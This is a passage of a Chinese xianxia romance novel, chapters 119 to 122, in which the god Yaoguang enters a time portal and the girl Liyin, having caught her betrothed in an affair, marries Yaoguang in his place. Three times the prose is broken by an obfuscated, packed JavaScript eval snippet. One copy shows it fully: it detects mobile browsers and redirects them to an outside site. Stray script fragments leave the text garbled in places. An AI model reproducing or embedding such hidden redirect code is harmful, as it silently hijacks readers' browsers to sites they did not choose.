虞宛言最清楚阿姐脾性,若不能把璃音这一缕神魂救出,阿姐那一颗心,必将日日自愧,永难安宁了。 所以于他,救她,亦是救阿姐。 而阿姐魂弱,哪里禁得起这一番折腾。 摇光神君有与自身神魂相噬的风险,更是不能去。 而山桃呢,整个人还在状况之外,漆黑的眼珠子骨碌碌在三人身上转了这半天,才忽地一拍手,慢半拍地道:“仙长的意思,是我们能通过这面镜子去到三百年前,拿回夏仙子的一样东西,来镇那团黑气?” 虞宛言额角一抽,愈发沉默,也愈发确认了:这件事,唯有他来做,才是最合适的人选。 只有虞宛初笑着向山桃点头,耐心地给予了她肯定:“是这样。” 不过这也不能怪山桃反应迟钝,谁叫这帮仙长神君一个个讲话都只讲半截,没头没尾的,好像在说一种只有他们彼此间才懂的加密语言一样。 就在虞宛言以为这事就算商议定了的时候,摇光忽然再一次开口道:“我去。” 语气不算冷,仍和第一次开口时一般沉静,但不知怎么,就是让人一听,就觉比虞宛言方才那句寒霜冷语更没商量的余地。 “可是……” 虞宛言还欲用天地法则来反驳几句,摇光却已目光淡静地望向他,告诉他道:“无妨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被他收起的神镜残片,随身带着的引魂铃,还有这一张能隔绝神躯相引的面具。 该是在夏姑娘离开的那一刻起,他便已准备好,能在任何意外出现时,随时跨入时空的乱流,去接她回家。 所以今日压根轮不到她来做这些多余的提点,竟是她班门弄斧,过虑自扰了。 想到这里,她倒也没觉尴尬,反而松了口气,眸底也不自觉地含上了些许笑意。 夏姑娘的身边,有一位靠谱到了不得的神君呢。 白芒闪动,眼前三枚镜片急速绕转起来。 没有唰唰唰硬物搅动空气的声音,也不见一丁点物体旋转该扇出的气流。 却不一会,便有一个挛搐不止的巨大漩涡,被它们在空中渐渐搅动了出来。 时空之门已现,摇光仍是旁若无人地将三枚残镜收起,静静抬眸,透过金属面具,望了一眼尚被困在“星罗棋布”下,再找不到棺材打砸,而正气愤愤对着周身冷蓝色光屏又踢又打的那具白骨。 他将破军留去了它身边。 然后对剩下的三人便连一句道别,甚至一个转头也没有,就长腿一迈,踏入了那扇挛动扭曲不止的时空之门。 120. 第119章 倒霉未婚夫 德武二十一年,人间孟夏。 暖风渐压不住蝉躁,山林青翠,炎日高悬,林间万木,从绿叶到树皮都被烤了个火热,好一个晴朗朗的艳阳天。 林中一株矮树枝叶繁茂,在那绿油油团满了枝丫的一大团叶子里面,影影绰绰间,竟偷偷藏了个少女纤巧的身影,那一身淡青色的秀雅襦裙,今日算是穿对了地方,让她完美地穿出了一种隐身衣的效果。 哒哒哒—— 慢腾腾的马蹄声,混着车轮缓缓碾过林间泥土草叶的声响,吱嘎吱嘎,离少女藏身的那一株矮树渐渐地近了。 听见动静,原本正懒懒躺在树杈子上的璃音立马竖起耳朵,轻手轻脚直起了身。 少女一手抱住粗壮的树干,稳着身形,一手顺势拉过边上一小撮缀满绿叶的枝丫,遮挡了面门,这才放心又鬼祟地伸长了脖子,一双清灵如琉璃珠般剔亮的眼睛,就透过密匝匝的树叶间的缝隙,迫不及待地向那声音的来处探头探脑,张望起来。 不多时,一辆形制华贵,却略显老旧的马车,便缓缓地驶入了璃音殷殷期盼的视线之中。 车沿上坐了个劲装华服的公子,亲自甩鞭赶马,姿势娴熟,胳膊虬髯有力,手中那一根马鞭甩得飞起,啪啪啪啪,甩一下便响一声,都异常威风地响在晨间静谧的茂林之中。 也响在璃音偷摸支得老高的耳朵里。 这位赶着车的公子,便该是父亲连日来在她耳边,左一句“后将军当年于我有恩,我如何能让他的独子一人流落在外”,右一句“我怎么会生出你这等自私自利、不思图报的女儿”,就一力做主,换过了帖,任凭璃音上吊绝食,都非要把人招赘过来,迫她去嫁的那位未婚夫了。 瞧得马车驶近,璃音忙抱紧了矮树粗壮的树干,眼神热切,脖子努力向下探了又探,试图要看清那公子的样貌。 然而这一看,却叫少女大失所望。 一张大大的面具,覆在公子不知是不是同样大大的脸上,把他那也不知是圆是扁的眼睛,是高是矮的鼻梁,是黑是白的皮肤,都遮了个严严实实,叫人瞧不着半点。 璃音耷下眼皮,想起了秋莺给她打探回来的一则消息。 说后将军府中半夜走水,逃跑时,一整根烧断了的梁木猛塌下来,火星子溅了这位公子一脸。过后人虽被救了出来,那相貌却多少有些损毁。 如今看来,那消息便是十万分属实了,且那容貌该是被毁得十分彻底,彻底到了不戴面具就不能见人的地步。 璃音热切的眼神凉下大半。 自己费了老大的劲爬上这树,又在大日头底下埋伏了这半天,好一番辛苦,就等来这么不明不白的一眼,等来一个毁了容的未婚夫。 如何不叫人泄气。 但转念一想,听闻后将军府的那场大火整整烧了一夜,府中所有活人连带着屋宅都被烧尽了,只这位将军的独子被人救了出来,捡了一条命。 一夜之间,府宅亲人全成了灰,家业覆灭,自己也因此容貌遭毁,说来也是个可怜人,怎好在这方面嫌弃人家。 再说,成亲过日子,那相貌也不是最重要的,最终要过得舒心,还得是对方人品好,有真心,脑袋灵,还愿意听她的话。 于是璃音不死心地又看一眼。 这一眼,却瞧见了那马车后面,还用粗绳缀了辆板车,堆满大大小小的木箱杂物,都只由那一匹老马拉着。 少女眸中剩下的最后一点光亮,便也彻底熄暗了下去。 换作唇线紧紧绷起,那小嘴撅的,都可以直接去厨房上任,就负责站在那里用嘴挂油瓶了。 家道消乏,旧车老马,这些都没什么,既然选择招赘,便没想着贪图男方家的什么家业。 但是…… 那车门和车窗上搭着的帘子,竟都是灰扑扑、脏兮兮的! 别说她吹毛求疵,关注点清奇,今日可是她这未婚夫第一次上门来拜见准岳丈,不说弄个多光鲜的行头,难道连把这车帘子洗一洗的功夫和心思也没有? 那拉车的马也明显走不动了,脚步虚浮,耷头耷脑的,璃音隔得老远,在树上都能看得出它又累又渴,定是长久没饮马了,那人却仍只兀自高声呼喝,狠挥着马鞭赶车,看得璃音很不舒服。 就好比家里落了穷,住的屋子小一点,旧一点,那都是没办法的事,但若是搞得又脏又乱,见客也不思量收拾打扫,对仆侍还呼来喝去的,这就是生活态度问题了。 总之,细节见人品。 只消这一眼,璃音就知道,自己和这位未婚夫婿的生活观念天差地别,婚后绝对过不到一块去! 唉,越想越绝望,璃音心里惨叹一声,瘫躺在树杈子上,只觉头顶日光毒辣起来,正是在无情地炙照着她即将与那人一起惨淡苦熬的后半生。 树上绿叶生机盎然,偷藏在其间的少女却蔫巴巴的,身瘫体软,满脸委顿,活像一截被晒干了的枯枝。 正自悲叹间,忽然一道柔情婉转的女声,顺着夏日蒸腾的气流,温温腻腻地飘了上来。 “慕郎,天气炎热,赶了这半日的车,累了吧。我看这里树荫倒有些清凉,不若就在这树下歇一会,喝点水,解解暑再走吧。” 于是马蹄声骤歇,竟就停在了她躺着的这棵树下。 接着,便是一阵咕咚咕咚往喉咙里灌水的声音,再然后,男人刚被清水润过的醇厚声线传来:“平儿,只有你最疼我。”语气中尽是满足。 那女子便娇娇哼了一声,嗔道:“这世上自然是我最疼你,只等你今日见着了太史令家的那位千金,别将我忘了才好。” “说什么胡话!”一声不算呵斥的呵斥过后,就听男子忙不迭柔声哄道:“我不是早答应过你,会把你一起接进去,就是要先委屈了你这几年,只能用丫鬟的身份呆在我身边。但你该知道我的心,在我心里,我只认你是我的妻。” 这一番对话,直把树里那位太史令家的千金听得大脑停转,整个人都呆了。 璃音僵躺在树上,手脚都躺麻了,但因和树下正山盟海誓着的两人离得太近,便一动也不敢动,只得就这样仰面呆愣愣地躺着,只留一双气得开始泛红的耳朵,愈发尖尖地竖了起来,一点细节都不肯放过地留意着那树下的动静。 最初的生气过后,便隐隐地兴奋起来。 好啊,入赘还想着带红颜知己一起来享她家的福呢。 这事抖落出去,她看阿爹还怎么坚持这门婚事! 不过两人互相说了几句情意绵绵的誓言,似乎就又喝起了水,只那喝水的响动听着怪异,不再是咕咚咕咚,而是啧啧的一片,且断断续续,时疾时徐,还伴着人似乎轻微呛到了的气音。 璃音左思右想,都想不出究竟是个怎样的喝法,能喝出这等奇怪的声音。 那两人啧啧 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隔了好久,才听那女声又响了起来,这一次,却是无比热切地畅想道:“这样也好,说是招你去做上门女婿,实际谁不知道,就是去给那没子孙福的太史令做儿子,你只需赢着了他的心,那家业自然都是要传给你的。到时候,便是亲生的女儿也及不上你,若她再和她那没用的母亲一般一无所出,你便再和旁人开枝散叶,谅也没人敢去说三道四。” “什么我的,什么旁人。”啧啧一片的黏腻水声中,男人粗喘着柔声,“都是你的……平儿,就连我,都是你的。” 而此时,树上的少女把这一切都清清楚楚地听在了耳中,她一动不动,只那一张端秀清丽的脸上,在这闷热的初夏午前,却冷得骇人,像是席卷着一场凛冬里足以铺盖天地的风雪。 沉默片刻后,璃音霍然起身,正要吓一吓树下那对野鸳鸯,不料身子才刚坐起一半,就惊闻下方两人“啊”的一声齐齐尖叫,倒把她给吓了一跳! 这一吓,把她抱树的手吓得一个不稳,屁股一滑,便直挺挺地往树下栽了下去。 好在这树本就低矮,璃音埋伏的那枝树杈子更不甚高,眼睛闭上之前,她还特意瞄了眼地下,虽不知为何,但两个人肉垫子已先她一步,平平整整地瘫在地上,摔成两个大马趴,就等着接住她这猛坠一击了。 于是璃音掉树掉得很安心,很期待,然而又不知为何,预想中的尖叫声没有传来,身子也不像是坠到了地上。 像是被一双有力的胳膊接住,璃音一面睁大了眼,任一张精致的银制面具迎面闯入自己的视线,一面在下坠遗留给她的感觉中本能地抬起双臂,搂住了接住自己那人的脖子。 一阵清香扑鼻。 啊,这人身上好香。 脸被面具遮住,璃音瞧不见他的神情样貌,只能看见眼前一截白皙的脖颈上喉结微动,一道清冽男声便自面具里传了出来。 “可有摔到哪里?” 嗓音清淡,像夏日里一抹沁人的凉风。 一双洒着碎光似的清眸,透过那张严丝合缝的面具,带着关切地向她望了过来。 这就是她那该下油锅的倒霉未婚夫? 璃音被男人稳稳地接在怀里,看着他这双漂亮到能把天上星星都比下去的眼睛,又看看他脸上雕镂精巧的银白面具,不禁有些晃神。 然后。 少女眯一眯眼,一只蓄满了气力的拳头,就对准了男人脆弱的咽喉,毫不留情地轰了过去。 121. 第120章 此乃天意! 少女挥出的拳风凛凛。 距离过近的猝然一击,要论格挡方便,自然是该放手后撤,但陡然松手,又恐她摔了,于是摇光隐在面具下的长眉微扬了扬,轻轻将头一偏,不退反进,迎身而上,让那拳头擦颈而过,顺势收紧双臂,便将少女整个身体都服服帖帖地锁在了自己怀里。 这动作逾距了,但为防这战斗力惊人的凡人少女再对自己发动什么了不得的弑神一击,也只得如此。 当然,除去战略上的考量,少女温软的身体抱在手上,满怀幽香,暂时有点爱不释手,也是有的。 但很快,被钳制在怀中的姑娘便毫不意外地激烈挣动起来。 手掐脚踹,开口就是一句:“猪头!放我下来!” 救了她,没捞着一点温存谢意,反倒挨了一顿毒打,天宫紫府中堂堂的北斗第七星君,此刻在她口中也沦落成了“猪头”。 好凶的姑娘。 感觉下一刻就要上牙来咬了。 但是。 摇光垂目看着怀中少□□打脚踢、生龙活虎的模样。 唇角一勾,心头升腾起满足的胀热。 肩背又挨了她两记猛锤,他笑了笑,感受够了她蓬勃的生机活力,这才慢条斯理抬了脚,不动声色地往前一踩—— “哎哟!” 地上男人一声尖厉的痛呼,呼得璃音揍人的动作一下顿住。 她扭头往旁边地上一看。 视线中,林间泥地里,一只在这种场合中干净雪白到有些过分的靴子,正精准有力地踩在一张黝黑的手背上。 顺着那被踩住的手再往前看,先是看到一个男子,仰着一张被烫伤了大半、早已看不出美丑的脸,衣衫凌乱,惊声尖叫着,叫了两声,便两眼一翻,晕了过去。 再往他身边看去,是一张掉落在旁的粗制面具,和一个面容姣好,同样衣衫凌乱,与男人相拥着侧晕在地的女子。 “哎哟!” 踩在黑手背上的白靴突然毫无感情地碾了碾,碾得男人睁开眼来,仰颈又是一声痛叫。 靴子收回,耳边一道清沉的男声响起:“他应该才是你口中要打的猪头。” 璃音已是知道自己认错人,也打错人了,小姑娘薄薄的面皮一下子便发起热来。 只因着方才掉下来时的囫囵一眼,见了一张面具,就误把恩人骂作了猪头。 啊,凭什么那对狗男女可以有幸晕得人事不省,而她却要醒着面对这份尴尬。 但做错了事就要认,再不好意思,璃音也还是红着脸回过了头,对上男人似笑非笑的眼神,她赧声道:“对不起,刚刚是不是打痛你了?” 痛倒是还好,不过…… 摇光垂眸,迎着少女盈满关切的眼神,点头:“是有点。” 声音有点闷。 听得璃音心头一紧。 其实只是出的声低了,被面具闷的,但心虚的少女一听,再被那像是含着水光的眸光一闪,立刻觉得男人这是被自己打虚了。 不过还好,用拳头打人她在行,看伤接骨,她也在行。 “背上那两下可能打得重了,我替你看看,伤到骨头就不好了。” 说着忙从男人怀里轻轻挣下来,要去帮他看伤,谁知脚一下地,不偏不倚就踩在了“猪头男”的那只黑手背上,踩出了好高亢的一声惨叫。 还有清脆的一声“咔嗒”—— 璃音默默抬脚,这下不用看都知道,这是真伤到骨头了。 再低头一看,猪头男喊完这惊天动地的一声,便就脑袋一歪,痛晕了过去。倒是他边上一直晕着的女子这时眼皮一动,被他这一喊给喊得悠悠醒转了。 平儿一睁眼,看清面前站着的两个人,脸上立时写满了惊恐。 那蓝袍束发的男子,她晕倒之前看得清清楚楚,是从一团翻涌扭曲的诡异漩涡里凭空冒出来的! 当真是吓了她和慕郎一大跳。 不过眼睛一闭一睁,怎么就又多出来个面上冷嗖嗖的小姑娘! “你……你们是什么人!”她撑了撑虚软的身子,颤着嗓子问。 璃音见她似乎是想要爬起身来,但刚动了下腰,就倏地面色一变,涨红起来,手捂住微敞的衣襟,又躺回先前那个姿势,僵着身子不动了。 “怎么不起来?”于是干脆自己上前一步,蹲下身去看那女子,“我正有话要问你呢。” 也是离得近了,璃音才发现,在两人凌乱纠缠的衣袍之下,这一男一女似乎正以一种她看不太懂的奇怪姿势连接在一起。 十六岁正是好奇心旺盛的年纪,璃音看得摆冷脸也忘了,不禁“咦”了一声,歪了歪脑袋。 要说人体,外公在太医署解剖一些东西时,她在旁偷看过不少,因此,单对男人女人的身体,她都拥有着超越这个年龄的非凡认知。 但要男女结合起来,她的知识就有些匮乏了,她难以忍受这种匮乏,当下就要探手去揭那衣摆,瞧个究竟,好仔细将这新鲜的知识学上一学。 “你干嘛!” 平儿一声惊叫,忙一把拍掉少女探来的魔爪,红着脸,将裙摆捂了个结结实实。 随便掀人衣服好像是不大妥当,非淑女所为,璃音颇为遗憾地一撇嘴,便就讪讪地收回了爪子,没打算再继续。 见少女没再动作,平儿轻舒一口气,一抬脸,却见少女身后那位蓝袍男子迈步上前,也蹲下身子,和少女蹲作一排,一面用观察天象地理般认真严肃的眼神观察着自己,一面轻声问那少女:“想看?” 一副要与她一起一探究竟的架势。 “想。”少女毫不避讳地点头,也不知是思想过于纯洁,还是过于龌龊,总之正闪着她那充满求知欲的眼神,望着自己,十分认真地为难道:“但是她好像不大愿意让我看。” “你们……变态!你们别过来!” 平儿被俩变态一本正经地围坐打量着,羞得都快哭了,她生怕那男子也要伸手过来,忙一手护着衣襟,一手捂住裙摆,撑大了嗓门叫道:“你们若是敢对我怎么样,等慕郎醒过来,他是大将军的儿子,他不会放过你们的!” 适才这蓝袍男子出现时,她与慕郎正浓情蜜意,共赴极乐,哪里晓得会有这等吓破魂儿的东西出来,当时把她吓得一个收缩,便和慕郎齐齐晕了过去。 谁知醒来后,那东西不知怎地,兀自如同铁杵一般,箍在里面,竟是拔不出来了! 璃音则回想着大将军的儿子几次三番惊叫着晕过去的模样,心道他的胆子也不过如此。 但见平儿又羞又急,又有个男子凑了过来,再掀人家姑娘的裙子委实不妥,遂放了她一马:“不看就不看吧。” 她错手拍了拍,拉着身旁的男子起身,以示此事翻篇,但再垂目下来时,看着平儿的眼神却陡然冷了下来:“但我的问题还是要问的。” “你……你要问什么?”平儿被她盯得一个哆嗦。 “你方才,为什么要把我和我阿娘比作下蛋的母鸡呢?”璃音垂着眼看她,霜寒的语气里,也带着着实的不解,“我们若是母鸡,那等你得偿所愿,去为你的慕郎开枝散叶的时候,你自己又成了什么?” 侮辱他人,也把自己侮辱了进去,璃音实在想不通她为什么要做这样的事,说这样的话。 平儿却已听得呆住了:“你……你是……” “你能把你的慕郎哄得团团转,为自己谋出一份前程,我也算是你的本事。”璃音再次蹲身下来,举起孔武有力的一只拳头,往女子惊恐的脸上比了比,“但你背后嚼我阿娘的舌根,我揍你一顿,这也是我的本事。” “你敢……” 平儿才刚张口,就被少女举着拳头,歪着脑袋,嘻地一笑打断了:“不必搬出你的慕郎吓唬我,揍完你,他就是下一个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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璃音扭头看向身边扶住自己的男人。 她的择婿标准是什么来着? ——人品好,有真心,脑袋灵光,还愿意听自己的话。 素不相识,却两次相帮,足可见人品心性;她突然发难,他也能应对自如,可见脑袋必然灵光;而且打不还手,方才拉他起身他便起,她与别人说话时,他就乖乖站在她身边没动一下,可见必定很能听话。 哎呀,这不就是…… 璃音眼睛腾地亮起。 昨日知道未婚夫要上门,晚上,她睁着两只铜铃似的双眼,瞪了半夜的天花板,终于从床上爬起来,推开窗,对着窗外洒进来的星辉,为自己认认真真卜了一卦。 那堪称是她此生见过最直接明了的卦象,给出的指示清晰无比:她未来的夫君,就在今日午前,会出现在此处山林之内。 她的未婚夫也确实是出现了。 可就在此时此地,在她眼前出现的,可不止那一个倒霉未婚夫呀! 璃音盯着男人脸上精巧的面具,眼睛亮了又亮。 天意,此乃天意! 少女活络的小脑筋飞速盘算着,其实平儿与她那倒霉未婚夫设想的都对,阿爹为她纳赘,就是要府中早日添上男丁,他铁了心要自己赶在今年里完婚,便不是这个慕郎,也会被嫁给另一个自己素未谋面、全凭阿爹定夺的男人。与其这样,还不如趁此机会,把主动权攥到自己手里。 要想绝处逢生,就得有敢于跳出常规的思路和勇气,恰巧这两样璃音都有,所以她只需要再赌上一点点运气…… 耳听得脚步声愈近,已是来不及容她组织语言,循循善诱了。 璃音一把反抓住男人稳着自己的手臂,在一片此起彼伏的叫喊声中,望进了男人的眼睛,急切道:“你来我家,我给你做娘子,你要不要?” 122. 第121章 新姑爷 因着树上小半日的埋伏,少女身上的襦裙被压得皱巴巴的,想是为了爬树方便,披帛胡乱系在腰上,脸上蹭了好几道灰,小花猫似的,头顶还乱糟糟地黏住了一片树叶。 璃音就这么浑然不觉地顶着一片大绿叶子,双目炯炯,饱含热切与期待地盯住了被自己抓住小臂的男人。 怕他不应,璃音又忙抓紧时间,掰起手指,给他罗列赘来自己府上的诸多好处:“包吃包住,无需纳彩,你住进来,我家必不会亏待你,我阿爹还会带你做官。” 说到这,眨一眨眼,把脑袋凑近了些,声音也往下压了压:“而且,你戴着面具,一定是长相或身份上有所不便吧。只要你替了那位慕公子,跟我回家,有我替你遮掩,就再不会有人盘问你面具的事了,还有……” 这都是晓之以理,接下来便该动之以情了。 璃音这辈子没和谁说过温柔小话,别扭肯定别扭,但唤她回去的叫声越喊越近,已容不得她有片刻的退缩。 豁出去了。 给自己鼓足了劲,也没别的招,眼睛一弯,便轻扯过男人的袖子,晃了晃,小声,但十足认真地承诺他:“还有,我也会对你好的。” 笑了笑,还不忘补充个顶要紧的前提:“只要你别故意惹我生气,像地上那位慕郎那样。” 三段话,一段许诺他好处,一段拿捏他可能的弱点,最后一段还给喂了颗甜枣。 嗯,该说的都说了,没落下什么。 接下来,就看这男人能不能看上自己给出的条件了。 心里忐忑,脸上便笑得愈发努力。 阿娘总说她笑起来好看,大家都不忍心拒绝这样的她的。 少女的嗓音清甜如蛊,和着树上阵阵蝉鸣,声声句句,连同那笑容一起,都一齐落入了摇光的耳中眼中。 她这是在……向自己求亲? 她还在望着他笑,笑容那样甜美。 可惜。 他是认得这个笑的。 她对望仙镇里那守桥的老高就是这么笑的。 那笑里面没有喜欢。 只有哄着对方乖乖为她沦落的权宜。 等了数息,见男人不应声,只是眸色沉黑地看着自己,璃音就知道没戏了。 人家这是没看上她。 或许这人和地上的慕郎一样,早就心有所属,她对他一无所知,才见着第一面,说到第五句话,就贸然开始提亲,委实是唐突了。 说没一点灰心是假的,但也没太失望,更没后悔自己的唐突。 本就是个溺水之人的垂死扑腾,最后没能扑腾上岸,那也不丢人。 至少她努力过了。 比起扑腾失败的尴尬,过后回想起来,一定是毫无挣扎就沉了水,才更叫自己后悔一辈子。 唇角轻抿了抿,璃音干脆利落地收回视线,抓在男人小臂上的指骨也没什么留恋地松了开来。 既然此路不通,便没必要再死抓着不放,得赶紧另想出路。 忽然旁边地上砰砰几声闷响,璃音扭头一看,竟见平儿正以一种十分高难度的扭曲姿势,与她的慕郎相对侧躺着,双膝折起,一下一下,用膝盖暴击着男人的腹部。 这是在做什么? 很快,由于男人肚皮被砸的动静太大,那声音又太过细微,璃音不确定自己是不是听到了“啵”的一声。 就听这隐约模糊的“啵”声响过之后,同时在男人似乎是被痛醒的惊呼声中,平儿手捂着衣裙,踉踉跄跄地爬起了身。 起身时,顺手还摸走了慕公子腰间一个不算鼓囊的钱袋子。 然后就见平儿头也没回,就朝着正往此处愈靠愈近的脚步声的反方向,一头扎进了密林之中。 废话,这等共谋设计官家小姐的事被发现了,男人只需说是被狐媚子一时迷了心窍,从此改过自新,未必不被原谅。而她作为那个吹枕边风的狐媚子,是无论如何落不着半点好了。 这时还不跑,等着被自己曾经的男人亲手发卖去边境吗? 璃音听着脚边慕公子痛苦的呻/吟,想他大概是被平儿踢坏了肚子,正痛得紧,于是忙抓紧时间,又往他伤口上撒了把盐:“哎呀,这种时候,她怎么自己跑了,把你一个人丢在这里,这世上不是只有她最疼你的吗?” 方才求亲遭拒的那一点挫败都乐没了,璃音指着平儿抛弃慕郎,独自跑路的背影,继续欢快地指责道:“唉,易得无价宝,难得有情郎,亏得慕郎一心待你,如今大难一临头,你就独自飞了,看来慕郎这一片真心,终究是错付了。” 少女笑得过于真心,把一双眼睛笑得水亮亮的,像沾染了初晨的露水。 慕公子此刻是手也疼,肚也疼,腿间那坨东西更是火辣辣地疼。剧痛间,五感都模糊扭曲了,压根没听见少女的幸灾乐祸,只双眼迷迷瞪瞪眯觑出条缝儿,就见一个少女水灵灵、俏生生地立在自己身前,正对着他笑呢。 地上的男人一阵恍惚。 这……是从天上下凡来的仙子吗? 天上都派仙子前来接他了,看来自己是快要死了。 不过璃音也就欢快了这几句话的时间,下一息,秋莺那威猛的一嗓子便吼在了她近前:“我的大小姐!可算让婢子找到你了!快跟婢子回去!老爷听说了你今日偷跑出府,那脸色可沉得很呢!” 说罢回头,对着散在身后的一堆远远近近的身影,就又是气沉丹田的一声吼:“找到了!大小姐在这里!” 那声音一下传出去老远,最近那颗矮树的树叶都被她震落了两片。 如此浑厚刚猛的嗓子,也不知为何会被取名叫作秋莺。 砰—— “这位是?” 那棵矮树的斜后面还有一个矮坡。 就在秋莺走近,再没密密匝匝的树林遮挡,终于和璃音打上照面的前一瞬,摇光不声不响,飞速向斜后踢了一脚,一脚便将慕公子踹下了那方矮坡。 可怜的慕公子,连惨叫都没来得及发出一声,就窸窸窣窣滚了几圈,滚下坡底,脑袋一磕,长草一盖,这晕来醒去无数次、如今又晕了过去的人,便被乱草给遮盖了个严严实实。 就在秋莺现身的同时,摇光镇定自若地收回脚,对上秋莺打量过来的视线,脸不红心不跳,四平八稳地回了她的问:“在下姓慕。” “慕……” 秋莺微微一愣,往后又见了赶路的马车,和满满一板车的行李,恍然这就是未来的姑爷,慌忙行礼:“慕公子。” 璃音也是呆了一呆。 扭头看向身边这个自称“慕公子”的男人,却见他长身舒展,没一点冒名顶替后的局促,通身清贵而泰然地向秋莺微一颔首:“以后都是一家人。” 这就一家人了。 璃音紧抿着唇,不让嘴角上翘得过于明显,但渐渐地,那眉峰便也止不住得意地上抬起来。 那笑果真练得值,阿娘说得不错,她笑起来的时候,是没有人能够拒绝的。 至今从无败绩。 所以,这么多年来,她哄人来来去去就只会那一招,还不是因为从来只要那一招便够了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913832|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秋莺,回府!”少女转身摆手,那小模样,很有点山大王顺利抢了个压寨夫人回家的志得意满,“慕郎的马累了,把我们的分一匹给他,带他跟我们一起回吧。” 摇光动了动眉。 少女今日身上穿得素净,大概是为了埋伏便利,荷包、香囊、多余的首饰一概没有,要拿到她长年贴身的小物件,还是先跟她回家看看,再做定夺。 摇光迈步跟上,却见少女正要踏上马车时,忽然一个回头,得逞般喜气洋洋地望了他一眼。 只是极快的一眼,便就转回视线,一个跨步入得车厢,将车帘放下了。 她现在这笑,倒是和对着老高时不一样的。 挑了一匹马跨上,摇光放出神识,感应了下矮坡下那人的状况,人没死,不过手骨断裂,那处竟也断裂,没了传宗接代的用处,想也没脸再上夏侯家的门了。 他这个身份,自己顶替得正是时候。 于是一抖缰绳,悠然自若地跟上了前方少女的马车。 准女婿身姿挺飒,气质出尘,虽容貌有损,戴着面具,但往那一站,俨然跟天上下来的神将似的,家中的落魄半点不显在他身上,那通身的气派,比他当了几十年将军的爹更甚。 太史令见了,满意得嘴巴合也合不拢,一会考人家经义,一会又要看人舞剑。一瞥眼,发现女儿正偷偷摸摸躲在院门外偷看,心里更是老大得意:这么个难得文武双全、知根知底、还适合赘进来的适龄男子,先前跟这丫头说破了嘴皮子,偏要寻死觅活不肯嫁,这下一见,总算晓得他这老父亲的眼光错不了了吧! 大老爷满意,夫人看了也满意,小娘子偷摸着更是满意,这事还有什么可说的。 东西都是早就准备好的,请期都不必劳人,太史令自己指头一掐,就挑出下月初七是个诸事皆宜的大好日子。 于是是日黄昏,几十支大蜡烛红红火火地燃满了喜堂,好一阵大吹大打,大操大办,就给这全家都满意的姑爷披上大红的喜袍,拜堂献茶,迫不及待给赘了进来。 洞房,花烛,万事俱备,接下来便该是一对新人赛过小登科的美妙时光了。 然而此时,穿着吉服的新娘子却因偷喝了半杯酒,歪倒在榻上,睡得一张脸粉扑扑地冒着热气,推也推不醒了。 “小姐!小姐!今夜可不兴早睡呀!” 连自己的大嗓门都叫不醒,秋莺无奈地眉毛都拧成了个川字。 “别喊。”新姑爷语气沉淡地出声,打断了秋莺气势磅礴的叫醒,“你先出去吧。” 男人的脸隐在面具之下,秋莺看不见他的神情,判断不出他此刻是不是恼了,但光听那语气,真叫人莫名心里打颤。 这样的姑爷,怕是日后不会好相与。 一时不免为自家小姐担心起来。 却见男人打断自己之后,便好像再看不见她的存在,兀自蹲身在榻前,捉住小姐一只纤细的脚踝,仔细为小姐除起了鞋袜。 做完这些,又轻轻将小姐抱起,帮她换了个舒服的姿势,放她在榻上躺好,自己就只倚在榻边,屈起一条长腿坐在地上,安安静静地看小姐睡着的样子,不动了。 哎呀,这倒是个知冷知热,会疼人的。 她的小姐也算觅得了良人,秋莺看到这里,眼眶一热,终于彻底放了心,忙知情识趣地给新婚的小夫妻带上门,轻手轻脚退下了。 少女睡得香甜又文静,摇光从没见过她这样安稳入睡的样子,红烛燃尽,他就像之前的几百年里做过千万次的那样,静静坐在黑暗里,看了她整整一夜。 123. 第122章 长命锁 翌日清早,鸟啼啁啾。 等璃音揉着惺忪的眼睛,从床上坐起身的时候,她昨日新迎进门的夫君已经去给阿爹阿娘献完茶,覆着面具,轻手轻脚地推门回来了。 刚起床的少女看上去呆呆懵懵的,所有的反应都慢着半拍,见男人走近,瞳孔也没个焦点,根本还没瞧清来人是谁,就煞有介事一点头,来了句:“你好。” 是她少见的不大伶俐的样子。 摇光看着新鲜,不由得轻笑一声。 端着水盆进来的秋莺见状也笑:“小姐又在犯‘起床呆’了。” 说罢,利索地拿过帕子,在温水里浸了,绞得半干,便毫不客气地往璃音脸上一拍。 “唔!”少女一把揭开脸上的帕子,眼里已是溢满了嗔动的神采,“秋莺!你要闷死我!” “小姐醒了。”秋莺熟练地重又递过一方浸好的帕子,笑道:“快起来吧,婢子给你梳妆。” 璃音这时已是醒透了,擦了脸,脚刚坠下床沿,竟就察觉到有人开始轻柔地为自己提袜穿鞋。 秋莺刚接了帕子过去,所以榻下正伺候她穿鞋的这个,不用想也知道是谁。 面上悄悄红了一点,不大好意思和新郎对视,忙故作忙碌地扭头看一眼更漏,这一看,倒真有些惊了。 “都这个时辰了!”转头急向秋莺道:“你怎么不早些把我叫醒。” 哪有新婚第一日就赖床的! 秋莺道:“是姑爷看小姐睡得好,不让婢子打扰,说是让小姐多睡一会。” 说着,向璃音递去一个幽幽的眼神。 她都没好意思提,小姐昨夜睡得跟死猪似的,就是十个自己围着喊都喊不醒,谁家洞房之夜是这样过的。 那略带责怨的小眼神,真真是无声胜有声。 璃音干咳一声,心虚地调转开了视线。 